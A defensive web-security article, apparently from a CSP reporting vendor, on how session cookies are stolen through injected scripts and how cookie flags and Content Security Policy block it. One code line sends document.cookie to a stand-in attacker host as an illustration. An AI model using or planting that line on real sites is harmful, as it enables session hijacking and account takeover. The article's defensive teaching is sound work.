How attackers steal cookies and hijack sessions, and the flags that stop them

An attacker who wants into your users’ accounts rarely bothers with the password. The session cookie your server sets after login is worth more, and it is often easier to take.

Attackers steal session cookies mainly by getting JavaScript to run inside the victim’s page, through an XSS vulnerability or a compromised third-party script, then reading document.cookie and shipping the value to a server they control. Replaying that cookie logs them in as the victim: no password prompt, no MFA challenge, because the victim already passed both. The defense is a stack: the HttpOnly, Secure and SameSite cookie attributes, the __Host- prefix, short session lifetimes, and a Content Security Policy for the cases the attributes cannot reach.

Why the session cookie is the prize

The cookie is the session. After login, your server stops checking passwords and starts checking a session identifier on every request, trusting whoever presents it. To the backend, a request carrying a valid session cookie simply is the user, whichever machine it comes from.

This is why cookie theft bypasses MFA by construction. The second factor was verified once, at login, and the cookie is the receipt. Entire malware families exist to do nothing but pull cookie jars off infected laptops, precisely because a fresh session cookie is worth more than a password that still has MFA standing in front of it.

How attackers steal cookies

The main route is script access. Any JavaScript running in your page can read every cookie not marked HttpOnly, and the script does not have to arrive through a vulnerability in your own code. A tag manager container someone edited, an analytics script served compromised from its CDN, a widget four dependencies deep: they all execute with identical authority in the page. Once running, exfiltration is conceptually one line:

// conceptual and defused: this is the whole attack
new Image().src = 'https://collect.attacker.example/?c=' + document.cookie;

An image beacon, a fetch, a WebSocket: any outbound channel the browser allows will carry the value out. Nothing about this is visible to the user, and nothing about it is visible to you either, unless something in the browser is reporting.

Two non-script routes deserve a paragraph. Without the Secure flag, a cookie travels over plain HTTP and anyone positioned on the network path can read it. HTTPS everywhere has made this rarer, not extinct. And CSRF is the adjacent case people mix up: the attacker never learns the cookie, they trick the victim’s browser into spending it on a forged request, a confused-deputy problem that SameSite was designed to close.

HttpOnly, Secure, SameSite: what each defense actually does

HttpOnly is the single highest-value flag: it removes the entire read-and-exfiltrate route in one attribute, and in fifteen years I have seen exactly one legitimate reason to omit it from a session cookie (it did not survive review). A sane default for a session cookie looks like this:

Set-Cookie: __Host-session=<id>; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=28800

Rotate the identifier at login and on privilege changes, and keep Max-Age shorter than feels comfortable. A stolen cookie that expires in eight hours is a much smaller incident than one that lasts a month.

HttpOnly protects the cookie, not the session

Here is the honest architecture point. With HttpOnly set, an injected script cannot read the cookie, but it is still executing inside an authenticated page. It can submit forms, call your APIs, change the account email, and the browser will attach the session cookie to every one of those requests itself. The attacker acts as the user without ever holding the credential.

Modern single-page apps make it worse: sessions held as tokens in localStorage or in JavaScript-readable memory get no HttpOnly protection at all, because the flag only exists for cookies.

This is where Content Security Policy earns its place in the stack. A script that cannot execute cannot steal or impersonate anything, and connect-src closes the exfiltration channel for whatever slips through. It is also the only layer here that can tell you an attempt happened: cookie flags fail silently, while a CSP emits a violation report from the victim’s own browser the moment something tries to load or phone home where it should not. We built CentralCSP to collect and index those reports, because a blocked exfiltration you never hear about is a warning wasted.

Flags on the cookie, CSP on the page, reporting on the CSP. That order, and the wider client-side security picture around it, is the difference between preventing the last incident and noticing the next one.